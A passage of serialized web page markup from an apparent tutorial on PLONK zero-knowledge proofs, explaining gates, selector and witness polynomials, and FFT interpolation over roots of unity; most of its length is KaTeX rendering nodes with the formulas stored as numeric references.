ildren":144678},{"className":144677},[7126,7175],[144679],{"type":30,"value":144680},"37",{"type":24,"tag":930,"props":144682,"children":144684},{"className":144683},[24846],[144685],{"type":30,"value":24849},{"type":24,"tag":930,"props":144687,"children":144689},{"className":144688},[7152],[144690],{"type":24,"tag":930,"props":144691,"children":144693},{"className":144692,"style":96195},[7157],[144694],{"type":24,"tag":930,"props":144695,"children":144696},{},[],{"type":30,"value":436},{"type":24,"tag":144699,"props":144700,"children":144701},"arithmetic-circuit-widget",{},[],{"type":24,"tag":33,"props":144703,"children":144704},{},[144705,144707,144733,144735,144814,144816,144893,144895,144972],{"type":30,"value":144706},"Each gate ",{"type":24,"tag":156,"props":144708,"children":144710},{"className":144709},[7098,7099],[144711],{"type":24,"tag":930,"props":144712,"children":144714},{"className":144713},[7104],[144715],{"type":24,"tag":930,"props":144716,"children":144718},{"className":144717,"ariaHidden":7110},[7109],[144719],{"type":24,"tag":930,"props":144720,"children":144722},{"className":144721},[7115],[144723,144728],{"type":24,"tag":930,"props":144724,"children":144727},{"className":144725,"style":144726},[7120],"height:0.6595em;",[],{"type":24,"tag":930,"props":144729,"children":144731},{"className":144730},[7126,24690],[144732],{"type":30,"value":6854},{"type":30,"value":144734}," has a left input ",{"type":24,"tag":156,"props":144736,"children":144738},{"className":144737},[7098,7099],[144739],{"type":24,"tag":930,"props":144740,"children":144742},{"className":144741},[7104],[144743],{"type":24,"tag":930,"props":144744,"children":144746},{"className":144745,"ariaHidden":7110},[7109],[144747],{"type":24,"tag":930,"props":144748,"children":144750},{"className":144749},[7115],[144751,144756],{"type":24,"tag":930,"props":144752,"children":144755},{"className":144753,"style":144754},[7120],"height:0.8444em;vertical-align:-0.15em;",[],{"type":24,"tag":930,"props":144757,"children":144759},{"className":144758},[7126],[144760,144765],{"type":24,"tag":930,"props":144761,"children":144763},{"className":144762,"style":96124},[7126,24690],[144764],{"type":30,"value":96127},{"type":24,"tag":930,"props":144766,"children":144768},{"className":144767},[7142],[144769],{"type":24,"tag":930,"props":144770,"children":144772},{"className":144771},[7147,24743],[144773,144803],{"type":24,"tag":930,"props":144774,"children":144776},{"className":144775},[7152],[144777,144798],{"type":24,"tag":930,"props":144778,"children":144780},{"className":144779,"style":96641},[7157],[144781],{"type":24,"tag":930,"props":144782,"children":144784},{"style":144783},"top:-2.55em;margin-left:-0.0197em;margin-right:0.05em;",[144785,144789],{"type":24,"tag":930,"props":144786,"children":144788},{"className":144787,"style":7167},[7166],[],{"type":24,"tag":930,"props":144790,"children":144792},{"className":144791},[7172,7173,7174,7175],[144793],{"type":24,"tag":930,"props":144794,"children":144796},{"className":144795},[7126,24690,7175],[144797],{"type":30,"value":6854},{"type":24,"tag":930,"props":144799,"children":144801},{"className":144800},[24846],[144802],{"type":30,"value":24849},{"type":24,"tag":930,"props":144804,"children":144806},{"className":144805},[7152],[144807],{"type":24,"tag":930,"props":144808,"children":144810},{"className":144809,"style":96195},[7157],[144811],{"type":24,"tag":930,"props":144812,"children":144813},{},[],{"type":30,"value":144815},", right input ",{"type":24,"tag":156,"props":144817,"children":144819},{"className":144818},[7098,7099],[144820],{"type":24,"tag":930,"props":144821,"children":144823},{"className":144822},[7104],[144824],{"type":24,"tag":930,"props":144825,"children":144827},{"className":144826,"ariaHidden":7110},[7109],[144828],{"type":24,"tag":930,"props":144829,"children":144831},{"className":144830},[7115],[144832,144836],{"type":24,"tag":930,"props":144833,"children":144835},{"className":144834,"style":112445},[7120],[],{"type":24,"tag":930,"props":144837,"children":144839},{"className":144838},[7126],[144840,144845],{"type":24,"tag":930,"props":144841,"children":144843},{"className":144842,"style":96112},[7126,24690],[144844],{"type":30,"value":96931},{"type":24,"tag":930,"props":144846,"children":144848},{"className":144847},[7142],[144849],{"type":24,"tag":930,"props":144850,"children":144852},{"className":144851},[7147,24743],[144853,144882],{"type":24,"tag":930,"props":144854,"children":144856},{"className":144855},[7152],[144857,144877],{"type":24,"tag":930,"props":144858,"children":144860},{"className":144859,"style":96641},[7157],[144861],{"type":24,"tag":930,"props":144862,"children":144863},{"style":112474},[144864,144868],{"type":24,"tag":930,"props":144865,"children":144867},{"className":144866,"style":7167},[7166],[],{"type":24,"tag":930,"props":144869,"children":144871},{"className":144870},[7172,7173,7174,7175],[144872],{"type":24,"tag":930,"props":144873,"children":144875},{"className":144874},[7126,24690,7175],[144876],{"type":30,"value":6854},{"type":24,"tag":930,"props":144878,"children":144880},{"className":144879},[24846],[144881],{"type":30,"value":24849},{"type":24,"tag":930,"props":144883,"children":144885},{"className":144884},[7152],[144886],{"type":24,"tag":930,"props":144887,"children":144889},{"className":144888,"style":96195},[7157],[144890],{"type":24,"tag":930,"props":144891,"children":144892},{},[],{"type":30,"value":144894},", and output ",{"type":24,"tag":156,"props":144896,"children":144898},{"className":144897},[7098,7099],[144899],{"type":24,"tag":930,"props":144900,"children":144902},{"className":144901},[7104],[144903],{"type":24,"tag":930,"props":144904,"children":144906},{"className":144905,"ariaHidden":7110},[7109],[144907],{"type":24,"tag":930,"props":144908,"children":144910},{"className":144909},[7115],[144911,144915],{"type":24,"tag":930,"props":144912,"children":144914},{"className":144913,"style":112445},[7120],[],{"type":24,"tag":930,"props":144916,"children":144918},{"className":144917},[7126],[144919,144924],{"type":24,"tag":930,"props":144920,"children":144922},{"className":144921},[7126,24690],[144923],{"type":30,"value":96082},{"type":24,"tag":930,"props":144925,"children":144927},{"className":144926},[7142],[144928],{"type":24,"tag":930,"props":144929,"children":144931},{"className":144930},[7147,24743],[144932,144961],{"type":24,"tag":930,"props":144933,"children":144935},{"className":144934},[7152],[144936,144956],{"type":24,"tag":930,"props":144937,"children":144939},{"className":144938,"style":96641},[7157],[144940],{"type":24,"tag":930,"props":144941,"children":144942},{"style":96168},[144943,144947],{"type":24,"tag":930,"props":144944,"children":144946},{"className":144945,"style":7167},[7166],[],{"type":24,"tag":930,"props":144948,"children":144950},{"className":144949},[7172,7173,7174,7175],[144951],{"type":24,"tag":930,"props":144952,"children":144954},{"className":144953},[7126,24690,7175],[144955],{"type":30,"value":6854},{"type":24,"tag":930,"props":144957,"children":144959},{"className":144958},[24846],[144960],{"type":30,"value":24849},{"type":24,"tag":930,"props":144962,"children":144964},{"className":144963},[7152],[144965],{"type":24,"tag":930,"props":144966,"children":144968},{"className":144967,"style":96195},[7157],[144969],{"type":24,"tag":930,"props":144970,"children":144971},{},[],{"type":30,"value":144973},". The prover's job is to show it knows wire values that satisfy every gate.",{"type":24,"tag":33,"props":144975,"children":144976},{},[144977,144979,144984,144986,145090,145092,145195,145197,145202],{"type":30,"value":144978},"Each gate imposes a constraint, and PLONK unifies all gate types into one expression using ",{"type":24,"tag":6032,"props":144980,"children":144981},{},[144982],{"type":30,"value":144983},"selector",{"type":30,"value":144985}," values that act as switches: setting ",{"type":24,"tag":156,"props":144987,"children":144989},{"className":144988},[7098,7099],[144990],{"type":24,"tag":930,"props":144991,"children":144993},{"className":144992},[7104],[144994],{"type":24,"tag":930,"props":144995,"children":144997},{"className":144996,"ariaHidden":7110},[7109],[144998,145077],{"type":24,"tag":930,"props":144999,"children":145001},{"className":145000},[7115],[145002,145006,145064,145068,145073],{"type":24,"tag":930,"props":145003,"children":145005},{"className":145004,"style":112365},[7120],[],{"type":24,"tag":930,"props":145007,"children":145009},{"className":145008},[7126],[145010,145015],{"type":24,"tag":930,"props":145011,"children":145013},{"className":145012,"style":96598},[7126,24690],[145014],{"type":30,"value":96601},{"type":24,"tag":930,"props":145016,"children":145018},{"className":145017},[7142],[145019],{"type":24,"tag":930,"props":145020,"children":145022},{"className":145021},[7147,24743],[145023,145053],{"type":24,"tag":930,"props":145024,"children":145026},{"className":145025},[7152],[145027,145048],{"type":24,"tag":930,"props":145028,"children":145031},{"className":145029,"style":145030},[7157],"height:0.3283em;",[145032],{"type":24,"tag":930,"props":145033,"children":145034},{"style":96645},[145035,145039],{"type":24,"tag":930,"props":145036,"children":145038},{"className":145037,"style":7167},[7166],[],{"type":24,"tag":930,"props":145040,"children":145042},{"className":145041},[7172,7173,7174,7175],[145043],{"type":24,"tag":930,"props":145044,"children":145046},{"className":145045,"style":98120},[7126,24690,7175],[145047],{"type":30,"value":98123},{"type":24,"tag":930,"props":145049,"children":145051},{"className":145050},[24846],[145052],{"type":30,"value":24849},{"type":24,"tag":930,"props":145054,"children":145056},{"className":145055},[7152],[145057],{"type":24,"tag":930,"props":145058,"children":145060},{"className":145059,"style":96195},[7157],[145061],{"type":24,"tag":930,"props":145062,"children":145063},{},[],{"type":24,"tag":930,"props":145065,"children":145067},{"className":145066,"style":7304},[7206],[],{"type":24,"tag":930,"props":145069,"children":145071},{"className":145070},[7309],[145072],{"type":30,"value":1161},{"type":24,"tag":930,"props":145074,"children":145076},{"className":145075,"style":7304},[7206],[],{"type":24,"tag":930,"props":145078,"children":145080},{"className":145079},[7115],[145081,145085],{"type":24,"tag":930,"props":145082,"children":145084},{"className":145083,"style":97143},[7120],[],{"type":24,"tag":930,"props":145086,"children":145088},{"className":145087},[7126],[145089],{"type":30,"value":7129},{"type":30,"value":145091}," makes a row a multiplication gate, setting ",{"type":24,"tag":156,"props":145093,"children":145095},{"className":145094},[7098,7099],[145096],{"type":24,"tag":930,"props":145097,"children":145099},{"className":145098},[7104],[145100],{"type":24,"tag":930,"props":145101,"children":145103},{"className":145102,"ariaHidden":7110},[7109],[145104,145182],{"type":24,"tag":930,"props":145105,"children":145107},{"className":145106},[7115],[145108,145112,145169,145173,145178],{"type":24,"tag":930,"props":145109,"children":145111},{"className":145110,"style":112365},[7120],[],{"type":24,"tag":930,"props":145113,"children":145115},{"className":145114},[7126],[145116,145121],{"type":24,"tag":930,"props":145117,"children":145119},{"className":145118,"style":96598},[7126,24690],[145120],{"type":30,"value":96601},{"type":24,"tag":930,"props":145122,"children":145124},{"className":145123},[7142],[145125],{"type":24,"tag":930,"props":145126,"children":145128},{"className":145127},[7147,24743],[145129,145158],{"type":24,"tag":930,"props":145130,"children":145132},{"className":145131},[7152],[145133,145153],{"type":24,"tag":930,"props":145134,"children":145136},{"className":145135,"style":145030},[7157],[145137],{"type":24,"tag":930,"props":145138,"children":145139},{"style":96645},[145140,145144],{"type":24,"tag":930,"props":145141,"children":145143},{"className":145142,"style":7167},[7166],[],{"type":24,"tag":930,"props":145145,"children":145147},{"className":145146},[7172,7173,7174,7175],[145148],{"type":24,"tag":930,"props":145149,"children":145151},{"className":145150},[7126,24690,7175],[145152],{"type":30,"value":120439},{"type":24,"tag":930,"props":145154,"children":145156},{"className":145155},[24846],[145157],{"type":30,"value":24849},{"type":24,"tag":930,"props":145159,"children":145161},{"className":145160},[7152],[145162],{"type":24,"tag":930,"props":145163,"children":145165},{"className":145164,"style":96195},[7157],[145166],{"type":24,"tag":930,"props":145167,"children":145168},{},[],{"type":24,"tag":930,"props":145170,"children":145172},{"className":145171,"style":7304},[7206],[],{"type":24,"tag":930,"props":145174,"children":145176},{"className":145175},[7309],[145177],{"type":30,"value":1161},{"type":24,"tag":930,"props":145179,"children":145181},{"className":145180,"style":7304},[7206],[],{"type":24,"tag":930,"props":145183,"children":145185},{"className":145184},[7115],[145186,145190],{"type":24,"tag":930,"props":145187,"children":145189},{"className":145188,"style":97143},[7120],[],{"type":24,"tag":930,"props":145191,"children":145193},{"className":145192},[7126],[145194],{"type":30,"value":7129},{"type":30,"value":145196}," makes it contribute an addition term, and so on. The selector values define the circuit's shape and are public, known to both prover and verifier, while the wire values are the prover's secret witness. This per-row check does not ensure that wires between gates are consistent (that the output of one gate equals the input of the next); PLONK uses a separate ",{"type":24,"tag":6032,"props":145198,"children":145199},{},[145200],{"type":30,"value":145201},"permutation argument",{"type":30,"value":145203}," for that, which we will not cover here.",{"type":24,"tag":151,"props":145205,"children":145207},{"id":145206},"from-many-checks-to-one",[145208],{"type":30,"value":145209},"From many checks to one",{"type":24,"tag":33,"props":145211,"children":145212},{},[145213,145215,145220,145221,145313,145314,145406,145407,145499,145501,145506,145507,145599,145600,145692,145694,145719,145721,145746,145748,145840,145842,145867,145869,145894],{"type":30,"value":145214},"Instead of checking each gate individually, PLONK reads the execution trace column by column and uses FFT interpolation to convert each array of values to a single polynomial. The wire values become ",{"type":24,"tag":6032,"props":145216,"children":145217},{},[145218],{"type":30,"value":145219},"witness polynomials",{"type":30,"value":510},{"type":24,"tag":156,"props":145222,"children":145224},{"className":145223},[7098,7099],[145225],{"type":24,"tag":930,"props":145226,"children":145228},{"className":145227},[7104],[145229],{"type":24,"tag":930,"props":145230,"children":145232},{"className":145231,"ariaHidden":7110},[7109],[145233],{"type":24,"tag":930,"props":145234,"children":145236},{"className":145235},[7115],[145237,145241,145298,145303,145308],{"type":24,"tag":930,"props":145238,"children":145240},{"className":145239,"style":7227},[7120],[],{"type":24,"tag":930,"props":145242,"children":145244},{"className":145243},[7126],[145245,145250],{"type":24,"tag":930,"props":145246,"children":145248},{"className":145247,"style":98466},[7126,24690],[145249],{"type":30,"value":36173},{"type":24,"tag":930,"props":145251,"children":145253},{"className":145252},[7142],[145254],{"type":24,"tag":930,"props":145255,"children":145257},{"className":145256},[7147,24743],[145258,145287],{"type":24,"tag":930,"props":145259,"children":145261},{"className":145260},[7152],[145262,145282],{"type":24,"tag":930,"props":145263,"children":145265},{"className":145264,"style":145030},[7157],[145266],{"type":24,"tag":930,"props":145267,"children":145268},{"style":98487},[145269,145273],{"type":24,"tag":930,"props":145270,"children":145272},{"className":145271,"style":7167},[7166],[],{"type":24,"tag":930,"props":145274,"children":145276},{"className":145275},[7172,7173,7174,7175],[145277],{"type":24,"tag":930,"props":145278,"children":145280},{"className":145279},[7126,24690,7175],[145281],{"type":30,"value":120439},{"type":24,"tag":930,"props":145283,"children":145285},{"className":145284},[24846],[145286],{"type":30,"value":24849},{"type":24,"tag":930,"props":145288,"children":145290},{"className":145289},[7152],[145291],{"type":24,"tag":930,"props":145292,"children":145294},{"className":145293,"style":96195},[7157],[145295],{"type":24,"tag":930,"props":145296,"children":145297},{},[],{"type":24,"tag":930,"props":145299,"children":145301},{"className":145300},[24818],[145302],{"type":30,"value":1010},{"type":24,"tag":930,"props":145304,"children":145306},{"className":145305},[7126,24690],[145307],{"type":30,"value":22378},{"type":24,"tag":930,"props":145309,"children":145311},{"className":145310},[24840],[145312],{"type":30,"value":6249},{"type":30,"value":962},{"type":24,"tag":156,"props":145315,"children":145317},{"className":145316},[7098,7099],[145318],{"type":24,"tag":930,"props":145319,"children":145321},{"className":145320},[7104],[145322],{"type":24,"tag":930,"props":145323,"children":145325},{"className":145324,"ariaHidden":7110},[7109],[145326],{"type":24,"tag":930,"props":145327,"children":145329},{"className":145328},[7115],[145330,145334,145391,145396,145401],{"type":24,"tag":930,"props":145331,"children":145333},{"className":145332,"style":7227},[7120],[],{"type":24,"tag":930,"props":145335,"children":145337},{"className":145336},[7126],[145338,145343],{"type":24,"tag":930,"props":145339,"children":145341},{"className":145340,"style":98466},[7126,24690],[145342],{"type":30,"value":36173},{"type":24,"tag":930,"props":145344,"children":145346},{"className":145345},[7142],[145347],{"type":24,"tag":930,"props":145348,"children":145350},{"className":145349},[7147,24743],[145351,145380],{"type":24,"tag":930,"props":145352,"children":145354},{"className":145353},[7152],[145355,145375],{"type":24,"tag":930,"props":145356,"children":145358},{"className":145357,"style":145030},[7157],[145359],{"type":24,"tag":930,"props":145360,"children":145361},{"style":98487},[145362,145366],{"type":24,"tag":930,"props":145363,"children":145365},{"className":145364,"style":7167},[7166],[],{"type":24,"tag":930,"props":145367,"children":145369},{"className":145368},[7172,7173,7174,7175],[145370],{"type":24,"tag":930,"props":145371,"children":145373},{"className":145372,"style":125252},[7126,24690,7175],[145374],{"type":30,"value":125255},{"type":24,"tag":930,"props":145376,"children":145378},{"className":145377},[24846],[145379],{"type":30,"value":24849},{"type":24,"tag":930,"props":145381,"children":145383},{"className":145382},[7152],[145384],{"type":24,"tag":930,"props":145385,"children":145387},{"className":145386,"style":96195},[7157],[145388],{"type":24,"tag":930,"props":145389,"children":145390},{},[],{"type":24,"tag":930,"props":145392,"children":145394},{"className":145393},[24818],[145395],{"type":30,"value":1010},{"type":24,"tag":930,"props":145397,"children":145399},{"className":145398},[7126,24690],[145400],{"type":30,"value":22378},{"type":24,"tag":930,"props":145402,"children":145404},{"className":145403},[24840],[145405],{"type":30,"value":6249},{"type":30,"value":962},{"type":24,"tag":156,"props":145408,"children":145410},{"className":145409},[7098,7099],[145411],{"type":24,"tag":930,"props":145412,"children":145414},{"className":145413},[7104],[145415],{"type":24,"tag":930,"props":145416,"children":145418},{"className":145417,"ariaHidden":7110},[7109],[145419],{"type":24,"tag":930,"props":145420,"children":145422},{"className":145421},[7115],[145423,145427,145484,145489,145494],{"type":24,"tag":930,"props":145424,"children":145426},{"className":145425,"style":7227},[7120],[],{"type":24,"tag":930,"props":145428,"children":145430},{"className":145429},[7126],[145431,145436],{"type":24,"tag":930,"props":145432,"children":145434},{"className":145433,"style":98466},[7126,24690],[145435],{"type":30,"value":36173},{"type":24,"tag":930,"props":145437,"children":145439},{"className":145438},[7142],[145440],{"type":24,"tag":930,"props":145441,"children":145443},{"className":145442},[7147,24743],[145444,145473],{"type":24,"tag":930,"props":145445,"children":145447},{"className":145446},[7152],[145448,145468],{"type":24,"tag":930,"props":145449,"children":145451},{"className":145450,"style":145030},[7157],[145452],{"type":24,"tag":930,"props":145453,"children":145454},{"style":98487},[145455,145459],{"type":24,"tag":930,"props":145456,"children":145458},{"className":145457,"style":7167},[7166],[],{"type":24,"tag":930,"props":145460,"children":145462},{"className":145461},[7172,7173,7174,7175],[145463],{"type":24,"tag":930,"props":145464,"children":145466},{"className":145465,"style":96112},[7126,24690,7175],[145467],{"type":30,"value":117794},{"type":24,"tag":930,"props":145469,"children":145471},{"className":145470},[24846],[145472],{"type":30,"value":24849},{"type":24,"tag":930,"props":145474,"children":145476},{"className":145475},[7152],[145477],{"type":24,"tag":930,"props":145478,"children":145480},{"className":145479,"style":96195},[7157],[145481],{"type":24,"tag":930,"props":145482,"children":145483},{},[],{"type":24,"tag":930,"props":145485,"children":145487},{"className":145486},[24818],[145488],{"type":30,"value":1010},{"type":24,"tag":930,"props":145490,"children":145492},{"className":145491},[7126,24690],[145493],{"type":30,"value":22378},{"type":24,"tag":930,"props":145495,"children":145497},{"className":145496},[24840],[145498],{"type":30,"value":6249},{"type":30,"value":145500}," and the selectors become ",{"type":24,"tag":6032,"props":145502,"children":145503},{},[145504],{"type":30,"value":145505},"selector polynomials",{"type":30,"value":510},{"type":24,"tag":156,"props":145508,"children":145510},{"className":145509},[7098,7099],[145511],{"type":24,"tag":930,"props":145512,"children":145514},{"className":145513},[7104],[145515],{"type":24,"tag":930,"props":145516,"children":145518},{"className":145517,"ariaHidden":7110},[7109],[145519],{"type":24,"tag":930,"props":145520,"children":145522},{"className":145521},[7115],[145523,145527,145584,145589,145594],{"type":24,"tag":930,"props":145524,"children":145526},{"className":145525,"style":7227},[7120],[],{"type":24,"tag":930,"props":145528,"children":145530},{"className":145529},[7126],[145531,145536],{"type":24,"tag":930,"props":145532,"children":145534},{"className":145533},[7126,24690],[145535],{"type":30,"value":79881},{"type":24,"tag":930,"props":145537,"children":145539},{"className":145538},[7142],[145540],{"type":24,"tag":930,"props":145541,"children":145543},{"className":145542},[7147,24743],[145544,145573],{"type":24,"tag":930,"props":145545,"children":145547},{"className":145546},[7152],[145548,145568],{"type":24,"tag":930,"props":145549,"children":145551},{"className":145550,"style":145030},[7157],[145552],{"type":24,"tag":930,"props":145553,"children":145554},{"style":96168},[145555,145559],{"type":24,"tag":930,"props":145556,"children":145558},{"className":145557,"style":7167},[7166],[],{"type":24,"tag":930,"props":145560,"children":145562},{"className":145561},[7172,7173,7174,7175],[145563],{"type":24,"tag":930,"props":145564,"children":145566},{"className":145565,"style":98120},[7126,24690,7175],[145567],{"type":30,"value":98123},{"type":24,"tag":930,"props":145569,"children":145571},{"className":145570},[24846],[145572],{"type":30,"value":24849},{"type":24,"tag":930,"props":145574,"children":145576},{"className":145575},[7152],[145577],{"type":24,"tag":930,"props":145578,"children":145580},{"className":145579,"style":96195},[7157],[145581],{"type":24,"tag":930,"props":145582,"children":145583},{},[],{"type":24,"tag":930,"props":145585,"children":145587},{"className":145586},[24818],[145588],{"type":30,"value":1010},{"type":24,"tag":930,"props":145590,"children":145592},{"className":145591},[7126,24690],[145593],{"type":30,"value":22378},{"type":24,"tag":930,"props":145595,"children":145597},{"className":145596},[24840],[145598],{"type":30,"value":6249},{"type":30,"value":962},{"type":24,"tag":156,"props":145601,"children":145603},{"className":145602},[7098,7099],[145604],{"type":24,"tag":930,"props":145605,"children":145607},{"className":145606},[7104],[145608],{"type":24,"tag":930,"props":145609,"children":145611},{"className":145610,"ariaHidden":7110},[7109],[145612],{"type":24,"tag":930,"props":145613,"children":145615},{"className":145614},[7115],[145616,145620,145677,145682,145687],{"type":24,"tag":930,"props":145617,"children":145619},{"className":145618,"style":7227},[7120],[],{"type":24,"tag":930,"props":145621,"children":145623},{"className":145622},[7126],[145624,145629],{"type":24,"tag":930,"props":145625,"children":145627},{"className":145626},[7126,24690],[145628],{"type":30,"value":79881},{"type":24,"tag":930,"props":145630,"children":145632},{"className":145631},[7142],[145633],{"type":24,"tag":930,"props":145634,"children":145636},{"className":145635},[7147,24743],[145637,145666],{"type":24,"tag":930,"props":145638,"children":145640},{"className":145639},[7152],[145641,145661],{"type":24,"tag":930,"props":145642,"children":145644},{"className":145643,"style":145030},[7157],[145645],{"type":24,"tag":930,"props":145646,"children":145647},{"style":96168},[145648,145652],{"type":24,"tag":930,"props":145649,"children":145651},{"className":145650,"style":7167},[7166],[],{"type":24,"tag":930,"props":145653,"children":145655},{"className":145654},[7172,7173,7174,7175],[145656],{"type":24,"tag":930,"props":145657,"children":145659},{"className":145658},[7126,24690,7175],[145660],{"type":30,"value":120439},{"type":24,"tag":930,"props":145662,"children":145664},{"className":145663},[24846],[145665],{"type":30,"value":24849},{"type":24,"tag":930,"props":145667,"children":145669},{"className":145668},[7152],[145670],{"type":24,"tag":930,"props":145671,"children":145673},{"className":145672,"style":96195},[7157],[145674],{"type":24,"tag":930,"props":145675,"children":145676},{},[],{"type":24,"tag":930,"props":145678,"children":145680},{"className":145679},[24818],[145681],{"type":30,"value":1010},{"type":24,"tag":930,"props":145683,"children":145685},{"className":145684},[7126,24690],[145686],{"type":30,"value":22378},{"type":24,"tag":930,"props":145688,"children":145690},{"className":145689},[24840],[145691],{"type":30,"value":6249},{"type":30,"value":145693},", etc., all interpolated over a domain ",{"type":24,"tag":156,"props":145695,"children":145697},{"className":145696},[7098,7099],[145698],{"type":24,"tag":930,"props":145699,"children":145701},{"className":145700},[7104],[145702],{"type":24,"tag":930,"props":145703,"children":145705},{"className":145704,"ariaHidden":7110},[7109],[145706],{"type":24,"tag":930,"props":145707,"children":145709},{"className":145708},[7115],[145710,145714],{"type":24,"tag":930,"props":145711,"children":145713},{"className":145712,"style":24685},[7120],[],{"type":24,"tag":930,"props":145715,"children":145717},{"className":145716,"style":96346},[7126,24690],[145718],{"type":30,"value":96349},{"type":30,"value":145720}," of ",{"type":24,"tag":156,"props":145722,"children":145724},{"className":145723},[7098,7099],[145725],{"type":24,"tag":930,"props":145726,"children":145728},{"className":145727},[7104],[145729],{"type":24,"tag":930,"props":145730,"children":145732},{"className":145731,"ariaHidden":7110},[7109],[145733],{"type":24,"tag":930,"props":145734,"children":145736},{"className":145735},[7115],[145737,145741],{"type":24,"tag":930,"props":145738,"children":145740},{"className":145739,"style":113316},[7120],[],{"type":24,"tag":930,"props":145742,"children":145744},{"className":145743},[7126,24690],[145745],{"type":30,"value":59493},{"type":30,"value":145747},"-th roots of unity. Evaluating ",{"type":24,"tag":156,"props":145749,"children":145751},{"className":145750},[7098,7099],[145752],{"type":24,"tag":930,"props":145753,"children":145755},{"className":145754},[7104],[145756],{"type":24,"tag":930,"props":145757,"children":145759},{"className":145758,"ariaHidden":7110},[7109],[145760],{"type":24,"tag":930,"props":145761,"children":145763},{"className":145762},[7115],[145764,145768,145825,145830,145835],{"type":24,"tag":930,"props":145765,"children":145767},{"className":145766,"style":7227},[7120],[],{"type":24,"tag":930,"props":145769,"children":145771},{"className":145770},[7126],[145772,145777],{"type":24,"tag":930,"props":145773,"children":145775},{"className":145774,"style":98466},[7126,24690],[145776],{"type":30,"value":36173},{"type":24,"tag":930,"props":145778,"children":145780},{"className":145779},[7142],[145781],{"type":24,"tag":930,"props":145782,"children":145784},{"className":145783},[7147,24743],[145785,145814],{"type":24,"tag":930,"props":145786,"children":145788},{"className":145787},[7152],[145789,145809],{"type":24,"tag":930,"props":145790,"children":145792},{"className":145791,"style":145030},[7157],[145793],{"type":24,"tag":930,"props":145794,"children":145795},{"style":98487},[145796,145800],{"type":24,"tag":930,"props":145797,"children":145799},{"className":145798,"style":7167},[7166],[],{"type":24,"tag":930,"props":145801,"children":145803},{"className":145802},[7172,7173,7174,7175],[145804],{"type":24,"tag":930,"props":145805,"children":145807},{"className":145806},[7126,24690,7175],[145808],{"type":30,"value":120439},{"type":24,"tag":930,"props":145810,"children":145812},{"className":145811},[24846],[145813],{"type":30,"value":24849},{"type":24,"tag":930,"props":145815,"children":145817},{"className":145816},[7152],[145818],{"type":24,"tag":930,"props":145819,"children":145821},{"className":145820,"style":96195},[7157],[145822],{"type":24,"tag":930,"props":145823,"children":145824},{},[],{"type":24,"tag":930,"props":145826,"children":145828},{"className":145827},[24818],[145829],{"type":30,"value":1010},{"type":24,"tag":930,"props":145831,"children":145833},{"className":145832},[7126,24690],[145834],{"type":30,"value":22378},{"type":24,"tag":930,"props":145836,"children":145838},{"className":145837},[24840],[145839],{"type":30,"value":6249},{"type":30,"value":145841}," at the ",{"type":24,"tag":156,"props":145843,"children":145845},{"className":145844},[7098,7099],[145846],{"type":24,"tag":930,"props":145847,"children":145849},{"className":145848},[7104],[145850],{"type":24,"tag":930,"props":145851,"children":145853},{"className":145852,"ariaHidden":7110},[7109],[145854],{"type":24,"tag":930,"props":145855,"children":145857},{"className":145856},[7115],[145858,145862],{"type":24,"tag":930,"props":145859,"children":145861},{"className":145860,"style":144726},[7120],[],{"type":24,"tag":930,"props":145863,"children":145865},{"className":145864},[7126,24690],[145866],{"type":30,"value":6854},{"type":30,"value":145868},"-th root recovers the left wire value at row ",{"type":24,"tag":156,"props":145870,"children":145872},{"className":145871},[7098,7099],[145873],{"type":24,"tag":930,"props":145874,"children":145876},{"className":145875},[7104],[145877],{"type":24,"tag":930,"props":145878,"children":145880},{"className":145879,"ariaHidden":7110},[7109],[145881],{"type":24,"tag":930,"props":145882,"children":145884},{"className":145883},[7115],[145885,145889],{"type":24,"tag":930,"props":145886,"children":145888},{"className":145887,"style":144726},[7120],[],{"type":24,"tag":930,"props":145890,"children":145892},{"className":145891},[7126,24690],[145893],{"type":30,"value":6854},{"type":30,"value":436},{"type":24,"tag":145896,"props":145897,"children":145898},"polynomial-interpolation-panel",{},[],{"type":24,"tag":33,"props":145900,"children":145901},{},[145902,145904,145944,145946,146012,146014,146144,146146,146186,146188,146228,146230,146270,146271,146393],{"type":30,"value":145903},"Because all columns are now polynomials, the entire circuit compresses into a single master constraint polynomial ",{"type":24,"tag":156,"props":145905,"children":145907},{"className":145906},[7098,7099],[145908],{"type":24,"tag":930,"props":145909,"children":145911},{"className":145910},[7104],[145912],{"type":24,"tag":930,"props":145913,"children":145915},{"className":145914,"ariaHidden":7110},[7109],[145916],{"type":24,"tag":930,"props":145917,"children":145919},{"className":145918},[7115],[145920,145924,145929,145934,145939],{"type":24,"tag":930,"props":145921,"children":145923},{"className":145922,"style":7227},[7120],[],{"type":24,"tag":930,"props":145925,"children":145927},{"className":145926,"style":24691},[7126,24690],[145928],{"type":30,"value":124253},{"type":24,"tag":930,"props":145930,"children":145932},{"className":145931},[24818],[145933],{"type":30,"value":1010},{"type":24,"tag":930,"props":145935,"children":145937},{"className":145936},[7126,24690],[145938],{"type":30,"value":22378},{"type":24,"tag":930,"props":145940,"children":145942},{"className":145941},[24840],[145943],{"type":30,"value":6249},{"type":30,"value":145945}," that combines selectors and witnesses. If the prover was honest, ",{"type":24,"tag":156,"props":145947,"children":145949},{"className":145948},[7098,7099],[145950],{"type":24,"tag":930,"props":145951,"children":145953},{"className":145952},[7104],[145954],{"type":24,"tag":930,"props":145955,"children":145957},{"className":145956,"ariaHidden":7110},[7109],[145958,145999],{"type":24,"tag":930,"props":145959,"children":145961},{"className":145960},[7115],[145962,145966,145971,145976,145981,145986,145990,145995],{"type":24,"tag":930,"props":145963,"children":145965},{"className":145964,"style":7227},[7120],[],{"type":24,"tag":930,"props":145967,"children":145969},{"className":145968,"style":24691},[7126,24690],[145970],{"type":30,"value":124253},{"type":24,"tag":930,"props":145972,"children":145974},{"className":145973},[24818],[145975],{"type":30,"value":1010},{"type":24,"tag":930,"props":145977,"children":145979},{"className":145978},[7126,24690],[145980],{"type":30,"value":22378},{"type":24,"tag":930,"props":145982,"children":145984},{"className":145983},[24840],[145985],{"type":30,"value":6249},{"type":24,"tag":930,"props":145987,"children":145989},{"className":145988,"style":7304},[7206],[],{"type":24,"tag":930,"props":145991,"children":145993},{"className":145992},[7309],[145994],{"type":30,"value":1161},{"type":24,"tag":930,"props":145996,"children":145998},{"className":145997,"style":7304},[7206],[],{"type":24,"tag":930,"props":146000,"children":146002},{"className":146001},[7115],[146003,146007],{"type":24,"tag":930,"props":146004,"children":146006},{"className":146005,"style":97143},[7120],[],{"type":24,"tag":930,"props":146008,"children":146010},{"className":146009},[7126],[146011],{"type":30,"value":1818},{"type":30,"value":146013}," at every row index in the domain. The vanishing polynomial 